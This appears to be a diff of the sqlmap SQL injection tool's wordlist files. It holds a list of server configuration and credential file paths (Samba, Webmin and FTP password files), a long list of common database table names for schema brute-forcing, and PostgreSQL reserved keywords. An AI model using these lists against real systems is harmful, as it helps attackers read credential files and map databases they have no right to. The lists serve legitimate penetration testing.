|
/etc/my.cnf
|
||||||
|
/etc/logrotate.d/proftpd
|
||||||
|
/www/logs/proftpd.system.log
|
||||||
|
/var/log/proftpd
|
||||||
|
/etc/proftp.conf
|
||||||
|
/etc/protpd/proftpd.conf
|
||||||
|
/etc/vhcs2/proftpd/proftpd.conf
|
||||||
|
/etc/proftpd/modules.conf
|
||||||
|
/etc/vsftpd.chroot_list
|
||||||
|
/etc/vsftpd/vsftpd.conf
|
||||||
|
/etc/vsftpd.conf
|
||||||
|
/etc/chrootUsers
|
||||||
|
/etc/wu-ftpd/ftpaccess
|
||||||
|
/etc/wu-ftpd/ftphosts
|
||||||
|
/etc/wu-ftpd/ftpusers
|
||||||
|
/usr/sbin/pure-config.pl
|
||||||
|
/usr/etc/pure-ftpd.conf
|
||||||
|
/etc/pure-ftpd/pure-ftpd.conf
|
||||||
|
/usr/local/etc/pure-ftpd.conf
|
||||||
|
/usr/local/etc/pureftpd.pdb
|
||||||
|
/usr/local/pureftpd/etc/pureftpd.pdb
|
||||||
|
/usr/local/pureftpd/sbin/pure-config.pl
|
||||||
|
/usr/local/pureftpd/etc/pure-ftpd.conf
|
||||||
|
/etc/pure-ftpd.conf
|
||||||
|
/etc/pure-ftpd/pure-ftpd.pdb
|
||||||
|
/etc/pureftpd.pdb
|
||||||
|
/etc/pureftpd.passwd
|
||||||
|
/etc/pure-ftpd/pureftpd.pdb
|
||||||
|
/var/log/ftp-proxy
|
||||||
|
/etc/logrotate.d/ftp
|
||||||
|
/etc/ftpchroot
|
||||||
|
/etc/ftphosts
|
||||||
|
/etc/smbpasswd
|
||||||
|
/etc/smb.conf
|
||||||
|
/etc/samba/smb.conf
|
||||||
|
/etc/samba/samba.conf
|
||||||
|
/etc/samba/smb.conf.user
|
||||||
|
/etc/samba/smbpasswd
|
||||||
|
/etc/samba/smbusers
|
||||||
|
/var/lib/pgsql/data/postgresql.conf
|
||||||
|
/var/postgresql/db/postgresql.conf
|
||||||
|
/etc/ipfw.conf
|
||||||
|
/etc/firewall.rules
|
||||||
|
/etc/ipfw.rules
|
||||||
|
/usr/local/etc/webmin/miniserv.conf
|
||||||
|
/etc/webmin/miniserv.conf
|
||||||
|
/usr/local/etc/webmin/miniserv.users
|
||||||
|
/etc/webmin/miniserv.users
|
||||||
|
/etc/squirrelmail/config/config.php
|
||||||
|
/etc/squirrelmail/config.php
|
||||||
|
/etc/httpd/conf.d/squirrelmail.conf
|
||||||
|
/usr/share/squirrelmail/config/config.php
|
||||||
|
/private/etc/squirrelmail/config/config.php
|
||||||
|
/srv/www/htdos/squirrelmail/config/config.php
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
[Banners]
|
[Banners]
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
users
|
users
|
||||||
@@ -442,6 +442,7 @@ exchange
|
|||||||
Status
|
Status
|
||||||
WORKS_ON
|
WORKS_ON
|
||||||
lines
|
lines
|
||||||
|
testusers
|
||||||
booleantests
|
booleantests
|
||||||
QRTZ_SIMPLE_TRIGGERS
|
QRTZ_SIMPLE_TRIGGERS
|
||||||
mobile_menu
|
mobile_menu
|
||||||
@@ -1618,6 +1619,7 @@ Contributor
|
|||||||
flag
|
flag
|
||||||
|
|
||||||
# Various Joomla tables
|
# Various Joomla tables
|
||||||
|
|
||||||
jos_vm_product_download
|
jos_vm_product_download
|
||||||
jos_vm_coupons
|
jos_vm_coupons
|
||||||
jos_vm_product_reviews
|
jos_vm_product_reviews
|
||||||
@@ -1711,6 +1713,7 @@ publicusers
|
|||||||
cmsusers
|
cmsusers
|
||||||
|
|
||||||
# List provided by Anastasios Monachos (anastasiosm@gmail.com)
|
# List provided by Anastasios Monachos (anastasiosm@gmail.com)
|
||||||
|
|
||||||
blacklist
|
blacklist
|
||||||
cost
|
cost
|
||||||
moves
|
moves
|
||||||
@@ -1762,6 +1765,7 @@ TBLCORPUSERS
|
|||||||
TBLCORPORATEUSERS
|
TBLCORPORATEUSERS
|
||||||
|
|
||||||
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
|
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
|
||||||
|
|
||||||
tbladmins
|
tbladmins
|
||||||
sort
|
sort
|
||||||
_wfspro_admin
|
_wfspro_admin
|
||||||
@@ -2048,6 +2052,7 @@ Login
|
|||||||
Logins
|
Logins
|
||||||
|
|
||||||
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
|
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
|
||||||
|
|
||||||
account
|
account
|
||||||
accnts
|
accnts
|
||||||
accnt
|
accnt
|
||||||
@@ -2117,6 +2122,7 @@ user_pwd
|
|||||||
user_passwd
|
user_passwd
|
||||||
|
|
||||||
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
|
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
|
||||||
|
|
||||||
wsop
|
wsop
|
||||||
Admin
|
Admin
|
||||||
Config
|
Config
|
||||||
@@ -2437,9 +2443,11 @@ Affichage1name
|
|||||||
sb_host_adminAffichage1name
|
sb_host_adminAffichage1name
|
||||||
|
|
||||||
# site:jp
|
# site:jp
|
||||||
|
|
||||||
TypesTab
|
TypesTab
|
||||||
|
|
||||||
# site:it
|
# site:it
|
||||||
|
|
||||||
utenti
|
utenti
|
||||||
categorie
|
categorie
|
||||||
attivita
|
attivita
|
||||||
@@ -2581,6 +2589,7 @@ oil_stats_agents
|
|||||||
SGA_XPLAN_TPL_DBA_INDEXES
|
SGA_XPLAN_TPL_DBA_INDEXES
|
||||||
|
|
||||||
# site:fr
|
# site:fr
|
||||||
|
|
||||||
Avion
|
Avion
|
||||||
departement
|
departement
|
||||||
Compagnie
|
Compagnie
|
||||||
@@ -2751,6 +2760,7 @@ spip_ortho_dico
|
|||||||
spip_caches
|
spip_caches
|
||||||
|
|
||||||
# site:ru
|
# site:ru
|
||||||
|
|
||||||
guestbook
|
guestbook
|
||||||
binn_forum_settings
|
binn_forum_settings
|
||||||
binn_forms_templ
|
binn_forms_templ
|
||||||
@@ -2848,6 +2858,7 @@ binn_path_temps
|
|||||||
order_item
|
order_item
|
||||||
|
|
||||||
# site:de
|
# site:de
|
||||||
|
|
||||||
tt_content
|
tt_content
|
||||||
kunde
|
kunde
|
||||||
medien
|
medien
|
||||||
@@ -3010,6 +3021,7 @@ wp_categories
|
|||||||
chessmessages
|
chessmessages
|
||||||
|
|
||||||
# site:br
|
# site:br
|
||||||
|
|
||||||
endereco
|
endereco
|
||||||
pessoa
|
pessoa
|
||||||
usuarios
|
usuarios
|
||||||
@@ -3172,6 +3184,7 @@ LT_CUSTOM2
|
|||||||
LT_CUSTOM3
|
LT_CUSTOM3
|
||||||
|
|
||||||
# site:es
|
# site:es
|
||||||
|
|
||||||
jos_respuestas
|
jos_respuestas
|
||||||
DEPARTAMENTO
|
DEPARTAMENTO
|
||||||
EMPLEADO
|
EMPLEADO
|
||||||
@@ -3210,6 +3223,7 @@ grupo
|
|||||||
facturas
|
facturas
|
||||||
|
|
||||||
# site:cn
|
# site:cn
|
||||||
|
|
||||||
url
|
url
|
||||||
cdb_adminactions
|
cdb_adminactions
|
||||||
BlockInfo
|
BlockInfo
|
||||||
@@ -3355,6 +3369,7 @@ mymps_mail_sendlist
|
|||||||
mymps_navurl
|
mymps_navurl
|
||||||
|
|
||||||
# site:tr
|
# site:tr
|
||||||
|
|
||||||
kullanici
|
kullanici
|
||||||
kullanicilar
|
kullanicilar
|
||||||
yonetici
|
yonetici
|
||||||
@@ -3401,6 +3416,7 @@ kontak
|
|||||||
kontaklar
|
kontaklar
|
||||||
|
|
||||||
# List provided by Pedrito Perez (0ark1ang3l@gmail.com)
|
# List provided by Pedrito Perez (0ark1ang3l@gmail.com)
|
||||||
|
|
||||||
adminstbl
|
adminstbl
|
||||||
admintbl
|
admintbl
|
||||||
affiliateUsers
|
affiliateUsers
|
||||||
@@ -3415,4 +3431,69 @@ userstbl
|
|||||||
usertbl
|
usertbl
|
||||||
|
|
||||||
# WebGoat
|
# WebGoat
|
||||||
|
|
||||||
user_data
|
user_data
|
||||||
|
|
||||||
|
# https://laurent22.github.io/so-injections/
|
||||||
|
|
||||||
|
accounts
|
||||||
|
admin
|
||||||
|
baza_site
|
||||||
|
benutzer
|
||||||
|
category
|
||||||
|
comments
|
||||||
|
company
|
||||||
|
credentials
|
||||||
|
Customer
|
||||||
|
customers
|
||||||
|
data
|
||||||
|
details
|
||||||
|
dhruv_users
|
||||||
|
dt_tb
|
||||||
|
employees
|
||||||
|
events
|
||||||
|
forsale
|
||||||
|
friends
|
||||||
|
giorni
|
||||||
|
images
|
||||||
|
info
|
||||||
|
items
|
||||||
|
kontabankowe
|
||||||
|
login
|
||||||
|
logs
|
||||||
|
markers
|
||||||
|
members
|
||||||
|
messages
|
||||||
|
orders
|
||||||
|
order_table
|
||||||
|
photos
|
||||||
|
player
|
||||||
|
players
|
||||||
|
points
|
||||||
|
register
|
||||||
|
reports
|
||||||
|
rooms
|
||||||
|
shells
|
||||||
|
signup
|
||||||
|
songs
|
||||||
|
student
|
||||||
|
students
|
||||||
|
table
|
||||||
|
table2
|
||||||
|
tbl_images
|
||||||
|
tblproduct
|
||||||
|
testv2
|
||||||
|
tickets
|
||||||
|
topicinfo
|
||||||
|
trabajo
|
||||||
|
user
|
||||||
|
user_auth
|
||||||
|
userinfo
|
||||||
|
user_info
|
||||||
|
userregister
|
||||||
|
users
|
||||||
|
usuarios
|
||||||
|
utenti
|
||||||
|
wm_products
|
||||||
|
wp_payout_history
|
||||||
|
zamowienia
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
|
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
|
||||||
@@ -259,6 +259,7 @@ YEAR
|
|||||||
ZONE
|
ZONE
|
||||||
|
|
||||||
# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
|
# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html)
|
||||||
|
|
||||||
ADD
|
ADD
|
||||||
ALL
|
ALL
|
||||||
ALTER
|
ALTER
|
||||||
@@ -450,3 +451,752 @@ WITH
|
|||||||
WRITEXOR
|
WRITEXOR
|
||||||
YEAR_MONTH
|
YEAR_MONTH
|
||||||
ZEROFILL
|
ZEROFILL
|
||||||
|
|
||||||
|
# PostgreSQL keywords (reference: https://www.postgresql.org/docs/9.3/sql-keywords-appendix.html)
|
||||||
|
|
||||||
|
A
|
||||||
|
ABORT
|
||||||
|
ABS
|
||||||
|
ABSENT
|
||||||
|
ABSOLUTE
|
||||||
|
ACCESS
|
||||||
|
ACCORDING
|
||||||
|
ACTION
|
||||||
|
ADA
|
||||||
|
ADD
|
||||||
|
ADMIN
|
||||||
|
AFTER
|
||||||
|
AGGREGATE
|
||||||
|
ALL
|
||||||
|
ALLOCATE
|
||||||
|
ALSO
|
||||||
|
ALTER
|
||||||
|
ALWAYS
|
||||||
|
ANALYSE
|
||||||
|
ANALYZE
|
||||||
|
AND
|
||||||
|
ANY
|
||||||
|
ARE
|
||||||
|
ARRAY
|
||||||
|
ARRAY_AGG
|
||||||
|
ARRAY_MAX_CARDINALITY
|
||||||
|
AS
|
||||||
|
ASC
|
||||||
|
ASENSITIVE
|
||||||
|
ASSERTION
|
||||||
|
ASSIGNMENT
|
||||||
|
ASYMMETRIC
|
||||||
|
AT
|
||||||
|
ATOMIC
|
||||||
|
ATTRIBUTE
|
||||||
|
ATTRIBUTES
|
||||||
|
AUTHORIZATION
|
||||||
|
AVG
|
||||||
|
BACKWARD
|
||||||
|
BASE64
|
||||||
|
BEFORE
|
||||||
|
BEGIN
|
||||||
|
BEGIN_FRAME
|
||||||
|
BEGIN_PARTITION
|
||||||
|
BERNOULLI
|
||||||
|
BETWEEN
|
||||||
|
BIGINT
|
||||||
|
BINARY
|
||||||
|
BIT
|
||||||
|
BIT_LENGTH
|
||||||
|
BLOB
|
||||||
|
BLOCKED
|
||||||
|
BOM
|
||||||
|
BOOLEAN
|
||||||
|
BOTH
|
||||||
|
BREADTH
|
||||||
|
BY
|
||||||
|
C
|
||||||
|
CACHE
|
||||||
|
CALL
|
||||||
|
CALLED
|
||||||
|
CARDINALITY
|
||||||
|
CASCADE
|
||||||
|
CASCADED
|
||||||
|
CASE
|
||||||
|
CAST
|
||||||
|
CATALOG
|
||||||
|
CATALOG_NAME
|
||||||
|
CEIL
|
||||||
|
CEILING
|
||||||
|
CHAIN
|
||||||
|
CHAR
|
||||||
|
CHARACTER
|
||||||
|
CHARACTERISTICS
|
||||||
|
CHARACTERS
|
||||||
|
CHARACTER_LENGTH
|
||||||
|
CHARACTER_SET_CATALOG
|
||||||
|
CHARACTER_SET_NAME
|
||||||
|
CHARACTER_SET_SCHEMA
|
||||||
|
CHAR_LENGTH
|
||||||
|
CHECK
|
||||||
|
CHECKPOINT
|
||||||
|
CLASS
|
||||||
|
CLASS_ORIGIN
|
||||||
|
CLOB
|
||||||
|
CLOSE
|
||||||
|
CLUSTER
|
||||||
|
COALESCE
|
||||||
|
COBOL
|
||||||
|
COLLATE
|
||||||
|
COLLATION
|
||||||
|
COLLATION_CATALOG
|
||||||
|
COLLATION_NAME
|
||||||
|
COLLATION_SCHEMA
|
||||||
|
COLLECT
|
||||||
|
COLUMN
|
||||||
|
COLUMNS
|
||||||
|
COLUMN_NAME
|
||||||
|
COMMAND_FUNCTION
|
||||||
|
COMMAND_FUNCTION_CODE
|
||||||
|
COMMENT
|
||||||
|
COMMENTS
|
||||||
|
COMMIT
|
||||||
|
COMMITTED
|
||||||
|
CONCURRENTLY
|
||||||
|
CONDITION
|
||||||
|
CONDITION_NUMBER
|
||||||
|
CONFIGURATION
|
||||||
|
CONNECT
|
||||||
|
CONNECTION
|
||||||
|
CONNECTION_NAME
|
||||||
|
CONSTRAINT
|
||||||
|
CONSTRAINTS
|
||||||
|
CONSTRAINT_CATALOG
|
||||||
|
CONSTRAINT_NAME
|
||||||
|
CONSTRAINT_SCHEMA
|
||||||
|
CONSTRUCTOR
|
||||||
|
CONTAINS
|
||||||
|
CONTENT
|
||||||
|
CONTINUE
|
||||||
|
CONTROL
|
||||||
|
CONVERSION
|
||||||
|
CONVERT
|
||||||
|
COPY
|
||||||
|
CORR
|
||||||
|
CORRESPONDING
|
||||||
|
COST
|
||||||
|
COUNT
|
||||||
|
COVAR_POP
|
||||||
|
COVAR_SAMP
|
||||||
|
CREATE
|
||||||
|
CROSS
|
||||||
|
CSV
|
||||||
|
CUBE
|
||||||
|
CUME_DIST
|
||||||
|
CURRENT
|
||||||
|
CURRENT_CATALOG
|
||||||
|
CURRENT_DATE
|
||||||
|
CURRENT_DEFAULT_TRANSFORM_GROUP
|
||||||
|
CURRENT_PATH
|
||||||
|
CURRENT_ROLE
|
||||||
|
CURRENT_ROW
|
||||||
|
CURRENT_SCHEMA
|
||||||
|
CURRENT_TIME
|
||||||
|
CURRENT_TIMESTAMP
|
||||||
|
CURRENT_TRANSFORM_GROUP_FOR_TYPE
|
||||||
|
CURRENT_USER
|
||||||
|
CURSOR
|
||||||
|
CURSOR_NAME
|
||||||
|
CYCLE
|
||||||
|
DATA
|
||||||
|
DATABASE
|
||||||
|
DATALINK
|
||||||
|
DATE
|
||||||
|
DATETIME_INTERVAL_CODE
|
||||||
|
DATETIME_INTERVAL_PRECISION
|
||||||
|
DAY
|
||||||
|
DB
|
||||||
|
DEALLOCATE
|
||||||
|
DEC
|
||||||
|
DECIMAL
|
||||||
|
DECLARE
|
||||||
|
DEFAULT
|
||||||
|
DEFAULTS
|
||||||
|
DEFERRABLE
|
||||||
|
DEFERRED
|
||||||
|
DEFINED
|
||||||
|
DEFINER
|
||||||
|
DEGREE
|
||||||
|
DELETE
|
||||||
|
DELIMITER
|
||||||
|
DELIMITERS
|
||||||
|
DENSE_RANK
|
||||||
|
DEPTH
|
||||||
|
DEREF
|
||||||
|
DERIVED
|
||||||
|
DESC
|
||||||
|
DESCRIBE
|
||||||
|
DESCRIPTOR
|
||||||
|
DETERMINISTIC
|
||||||
|
DIAGNOSTICS
|
||||||
|
DICTIONARY
|
||||||
|
DISABLE
|
||||||
|
DISCARD
|
||||||
|
DISCONNECT
|
||||||
|
DISPATCH
|
||||||
|
DISTINCT
|
||||||
|
DLNEWCOPY
|
||||||
|
DLPREVIOUSCOPY
|
||||||
|
DLURLCOMPLETE
|
||||||
|
DLURLCOMPLETEONLY
|
||||||
|
DLURLCOMPLETEWRITE
|
||||||
|
DLURLPATH
|
||||||
|
DLURLPATHONLY
|
||||||
|
DLURLPATHWRITE
|
||||||
|
DLURLSCHEME
|
||||||
|
DLURLSERVER
|
||||||
|
DLVALUE
|
||||||
|
DO
|
||||||
|
DOCUMENT
|
||||||
|
DOMAIN
|
||||||
|
DOUBLE
|
||||||
|
DROP
|
||||||
|
DYNAMIC
|
||||||
|
DYNAMIC_FUNCTION
|
||||||
|
DYNAMIC_FUNCTION_CODE
|
||||||
|
EACH
|
||||||
|
ELEMENT
|
||||||
|
ELSE
|
||||||
|
EMPTY
|
||||||
|
ENABLE
|
||||||
|
ENCODING
|
||||||
|
ENCRYPTED
|
||||||
|
END
|
||||||
|
END-EXEC
|
||||||
|
END_FRAME
|
||||||
|
END_PARTITION
|
||||||
|
ENFORCED
|
||||||
|
ENUM
|
||||||
|
EQUALS
|
||||||
|
ESCAPE
|
||||||
|
EVENT
|
||||||
|
EVERY
|
||||||
|
EXCEPT
|
||||||
|
EXCEPTION
|
||||||
|
EXCLUDE
|
||||||
|
EXCLUDING
|
||||||
|
EXCLUSIVE
|
||||||
|
EXEC
|
||||||
|
EXECUTE
|
||||||
|
EXISTS
|
||||||
|
EXP
|
||||||
|
EXPLAIN
|
||||||
|
EXPRESSION
|
||||||
|
EXTENSION
|
||||||
|
EXTERNAL
|
||||||
|
EXTRACT
|
||||||
|
FALSE
|
||||||
|
FAMILY
|
||||||
|
FETCH
|
||||||
|
FILE
|
||||||
|
FILTER
|
||||||
|
FINAL
|
||||||
|
FIRST
|
||||||
|
FIRST_VALUE
|
||||||
|
FLAG
|
||||||
|
FLOAT
|
||||||
|
FLOOR
|
||||||
|
FOLLOWING
|
||||||
|
FOR
|
||||||
|
FORCE
|
||||||
|
FOREIGN
|
||||||
|
FORTRAN
|
||||||
|
FORWARD
|
||||||
|
FOUND
|
||||||
|
FRAME_ROW
|
||||||
|
FREE
|
||||||
|
FREEZE
|
||||||
|
FROM
|
||||||
|
FS
|
||||||
|
FULL
|
||||||
|
FUNCTION
|
||||||
|
FUNCTIONS
|
||||||
|
FUSION
|
||||||
|
G
|
||||||
|
GENERAL
|
||||||
|
GENERATED
|
||||||
|
GET
|
||||||
|
GLOBAL
|
||||||
|
GO
|
||||||
|
GOTO
|
||||||
|
GRANT
|
||||||
|
GRANTED
|
||||||
|
GREATEST
|
||||||
|
GROUP
|
||||||
|
GROUPING
|
||||||
|
GROUPS
|
||||||
|
HANDLER
|
||||||
|
HAVING
|
||||||
|
HEADER
|
||||||
|
HEX
|
||||||
|
HIERARCHY
|
||||||
|
HOLD
|
||||||
|
HOUR
|
||||||
|
ID
|
||||||
|
IDENTITY
|
||||||
|
IF
|
||||||
|
IGNORE
|
||||||
|
ILIKE
|
||||||
|
IMMEDIATE
|
||||||
|
IMMEDIATELY
|
||||||
|
IMMUTABLE
|
||||||
|
IMPLEMENTATION
|
||||||
|
IMPLICIT
|
||||||
|
IMPORT
|
||||||
|
IN
|
||||||
|
INCLUDING
|
||||||
|
INCREMENT
|
||||||
|
INDENT
|
||||||
|
INDEX
|
||||||
|
INDEXES
|
||||||
|
INDICATOR
|
||||||
|
INHERIT
|
||||||
|
INHERITS
|
||||||
|
INITIALLY
|
||||||
|
INLINE
|
||||||
|
INNER
|
||||||
|
INOUT
|
||||||
|
INPUT
|
||||||
|
INSENSITIVE
|
||||||
|
INSERT
|
||||||
|
INSTANCE
|
||||||
|
INSTANTIABLE
|
||||||
|
INSTEAD
|
||||||
|
INT
|
||||||
|
INTEGER
|
||||||
|
INTEGRITY
|
||||||
|
INTERSECT
|
||||||
|
INTERSECTION
|
||||||
|
INTERVAL
|
||||||
|
INTO
|
||||||
|
INVOKER
|
||||||
|
IS
|
||||||
|
ISNULL
|
||||||
|
ISOLATION
|
||||||
|
JOIN
|
||||||
|
K
|
||||||
|
KEY
|
||||||
|
KEY_MEMBER
|
||||||
|
KEY_TYPE
|
||||||
|
LABEL
|
||||||
|
LAG
|
||||||
|
LANGUAGE
|
||||||
|
LARGE
|
||||||
|
LAST
|
||||||
|
LAST_VALUE
|
||||||
|
LATERAL
|
||||||
|
LC_COLLATE
|
||||||
|
LC_CTYPE
|
||||||
|
LEAD
|
||||||
|
LEADING
|
||||||
|
LEAKPROOF
|
||||||
|
LEAST
|
||||||
|
LEFT
|
||||||
|
LENGTH
|
||||||
|
LEVEL
|
||||||
|
LIBRARY
|
||||||
|
LIKE
|
||||||
|
LIKE_REGEX
|
||||||
|
LIMIT
|
||||||
|
LINK
|
||||||
|
LISTEN
|
||||||
|
LN
|
||||||
|
LOAD
|
||||||
|
LOCAL
|
||||||
|
LOCALTIME
|
||||||
|
LOCALTIMESTAMP
|
||||||
|
LOCATION
|
||||||
|
LOCATOR
|
||||||
|
LOCK
|
||||||
|
LOWER
|
||||||
|
M
|
||||||
|
MAP
|
||||||
|
MAPPING
|
||||||
|
MATCH
|
||||||
|
MATCHED
|
||||||
|
MATERIALIZED
|
||||||
|
MAX
|
||||||
|
MAXVALUE
|
||||||
|
MAX_CARDINALITY
|
||||||
|
MEMBER
|
||||||
|
MERGE
|
||||||
|
MESSAGE_LENGTH
|
||||||
|
MESSAGE_OCTET_LENGTH
|
||||||
|
MESSAGE_TEXT
|
||||||
|
METHOD
|
||||||
|
MIN
|
||||||
|
MINUTE
|
||||||
|
MINVALUE
|
||||||
|
MOD
|
||||||
|
MODE
|
||||||
|
MODIFIES
|
||||||
|
MODULE
|
||||||
|
MONTH
|
||||||
|
MORE
|
||||||
|
MOVE
|
||||||
|
MULTISET
|
||||||
|
MUMPS
|
||||||
|
NAME
|
||||||
|
NAMES
|
||||||
|
NAMESPACE
|
||||||
|
NATIONAL
|
||||||
|
NATURAL
|
||||||
|
NCHAR
|
||||||
|
NCLOB
|
||||||
|
NESTING
|
||||||
|
NEW
|
||||||
|
NEXT
|
||||||
|
NFC
|
||||||
|
NFD
|
||||||
|
NFKC
|
||||||
|
NFKD
|
||||||
|
NIL
|
||||||
|
NO
|
||||||
|
NONE
|
||||||
|
NORMALIZE
|
||||||
|
NORMALIZED
|
||||||
|
NOT
|
||||||
|
NOTHING
|
||||||
|
NOTIFY
|
||||||
|
NOTNULL
|
||||||
|
NOWAIT
|
||||||
|
NTH_VALUE
|
||||||
|
NTILE
|
||||||
|
NULL
|
||||||
|
NULLABLE
|
||||||
|
NULLIF
|
||||||
|
NULLS
|
||||||
|
NUMBER
|
||||||
|
NUMERIC
|
||||||
|
OBJECT
|
||||||
|
OCCURRENCES_REGEX
|
||||||
|
OCTETS
|
||||||
|
OCTET_LENGTH
|
||||||
|
OF
|
||||||
|
OFF
|
||||||
|
OFFSET
|
||||||
|
OIDS
|
||||||
|
OLD
|
||||||
|
ON
|
||||||
|
ONLY
|
||||||
|
OPEN
|
||||||
|
OPERATOR
|
||||||
|
OPTION
|
||||||
|
OPTIONS
|
||||||
|
OR
|
||||||
|
ORDER
|
||||||
|
ORDERING
|
||||||
|
ORDINALITY
|
||||||
|
OTHERS
|
||||||
|
OUT
|
||||||
|
OUTER
|
||||||
|
OUTPUT
|
||||||
|
OVER
|
||||||
|
OVERLAPS
|
||||||
|
OVERLAY
|
||||||
|
OVERRIDING
|
||||||
|
OWNED
|
||||||
|
OWNER
|
||||||
|
P
|
||||||
|
PAD
|
||||||
|
PARAMETER
|
||||||
|
PARAMETER_MODE
|
||||||
|
PARAMETER_NAME
|
||||||
|
PARAMETER_ORDINAL_POSITION
|
||||||
|
PARAMETER_SPECIFIC_CATALOG
|
||||||
|
PARAMETER_SPECIFIC_NAME
|
||||||
|
PARAMETER_SPECIFIC_SCHEMA
|
||||||
|
PARSER
|
||||||
|
PARTIAL
|
||||||
|
PARTITION
|
||||||
|
PASCAL
|
||||||
|
PASSING
|
||||||
|
PASSTHROUGH
|
||||||
|
PASSWORD
|
||||||
|
PATH
|
||||||
|
PERCENT
|
||||||
|
PERCENTILE_CONT
|
||||||
|
PERCENTILE_DISC
|
||||||
|
PERCENT_RANK
|
||||||
|
PERIOD
|
||||||
|
PERMISSION
|
||||||
|
PLACING
|
||||||
|
PLANS
|
||||||
|
PLI
|
||||||
|
PORTION
|
||||||
|
POSITION
|
||||||
|
POSITION_REGEX
|
||||||
|
POWER
|
||||||
|
PRECEDES
|
||||||
|
PRECEDING
|
||||||
|
PRECISION
|
||||||
|
PREPARE
|
||||||
|
PREPARED
|
||||||
|
PRESERVE
|
||||||
|
PRIMARY
|
||||||
|
PRIOR
|
||||||
|
PRIVILEGES
|
||||||
|
PROCEDURAL
|
||||||
|
PROCEDURE
|
||||||
|
PROGRAM
|
||||||
|
PUBLIC
|
||||||
|
QUOTE
|
||||||
|
RANGE
|
||||||
|
RANK
|
||||||
|
READ
|
||||||
|
READS
|
||||||
|
REAL
|
||||||
|
REASSIGN
|
||||||
|
RECHECK
|
||||||
|
RECOVERY
|
||||||
|
RECURSIVE
|
||||||
|
REF
|
||||||
|
REFERENCES
|
||||||
|
REFERENCING
|
||||||
|
REFRESH
|
||||||
|
REGR_AVGX
|
||||||
|
REGR_AVGY
|
||||||
|
REGR_COUNT
|
||||||
|
REGR_INTERCEPT
|
||||||
|
REGR_R2
|
||||||
|
REGR_SLOPE
|
||||||
|
REGR_SXX
|
||||||
|
REGR_SXY
|
||||||
|
REGR_SYY
|
||||||
|
REINDEX
|
||||||
|
RELATIVE
|
||||||
|
RELEASE
|
||||||
|
RENAME
|
||||||
|
REPEATABLE
|
||||||
|
REPLACE
|
||||||
|
REPLICA
|
||||||
|
REQUIRING
|
||||||
|
RESET
|
||||||
|
RESPECT
|
||||||
|
RESTART
|
||||||
|
RESTORE
|
||||||
|
RESTRICT
|
||||||
|
RESULT
|
||||||
|
RETURN
|
||||||
|
RETURNED_CARDINALITY
|
||||||
|
RETURNED_LENGTH
|
||||||
|
RETURNED_OCTET_LENGTH
|
||||||
|
RETURNED_SQLSTATE
|
||||||
|
RETURNING
|
||||||
|
RETURNS
|
||||||
|
REVOKE
|
||||||
|
RIGHT
|
||||||
|
ROLE
|
||||||
|
ROLLBACK
|
||||||
|
ROLLUP
|
||||||
|
ROUTINE
|
||||||
|
ROUTINE_CATALOG
|
||||||
|
ROUTINE_NAME
|
||||||
|
ROUTINE_SCHEMA
|
||||||
|
ROW
|
||||||
|
ROWS
|
||||||
|
ROW_COUNT
|
||||||
|
ROW_NUMBER
|
||||||
|
RULE
|
||||||
|
SAVEPOINT
|
||||||
|
SCALE
|
||||||
|
SCHEMA
|
||||||
|
SCHEMA_NAME
|
||||||
|
SCOPE
|
||||||
|
SCOPE_CATALOG
|
||||||
|
SCOPE_NAME
|
||||||
|
SCOPE_SCHEMA
|
||||||
|
SCROLL
|
||||||
|
SEARCH
|
||||||
|
SECOND
|
||||||
|
SECTION
|
||||||
|
SECURITY
|
||||||
|
SELECT
|
||||||
|
SELECTIVE
|
||||||
|
SELF
|
||||||
|
SENSITIVE
|
||||||
|
SEQUENCE
|
||||||
|
SEQUENCES
|
||||||
|
SERIALIZABLE
|
||||||
|
SERVER
|
||||||
|
SERVER_NAME
|
||||||
|
SESSION
|
||||||
|
SESSION_USER
|
||||||
|
SET
|
||||||
|
SETOF
|
||||||
|
SETS
|
||||||
|
SHARE
|
||||||
|
SHOW
|
||||||
|
SIMILAR
|
||||||
|
SIMPLE
|
||||||
|
SIZE
|
||||||
|
SMALLINT
|
||||||
|
SNAPSHOT
|
||||||
|
SOME
|
||||||
|
SOURCE
|
||||||
|
SPACE
|
||||||
|
SPECIFIC
|
||||||
|
SPECIFICTYPE
|
||||||
|
SPECIFIC_NAME
|
||||||
|
SQL
|
||||||
|
SQLCODE
|
||||||
|
SQLERROR
|
||||||
|
SQLEXCEPTION
|
||||||
|
SQLSTATE
|
||||||
|
SQLWARNING
|
||||||
|
SQRT
|
||||||
|
STABLE
|
||||||
|
STANDALONE
|
||||||
|
START
|
||||||
|
STATE
|
||||||
|
STATEMENT
|
||||||
|
STATIC
|
||||||
|
STATISTICS
|
||||||
|
STDDEV_POP
|
||||||
|
STDDEV_SAMP
|
||||||
|
STDIN
|
||||||
|
STDOUT
|
||||||
|
STORAGE
|
||||||
|
STRICT
|
||||||
|
STRIP
|
||||||
|
STRUCTURE
|
||||||
|
STYLE
|
||||||
|
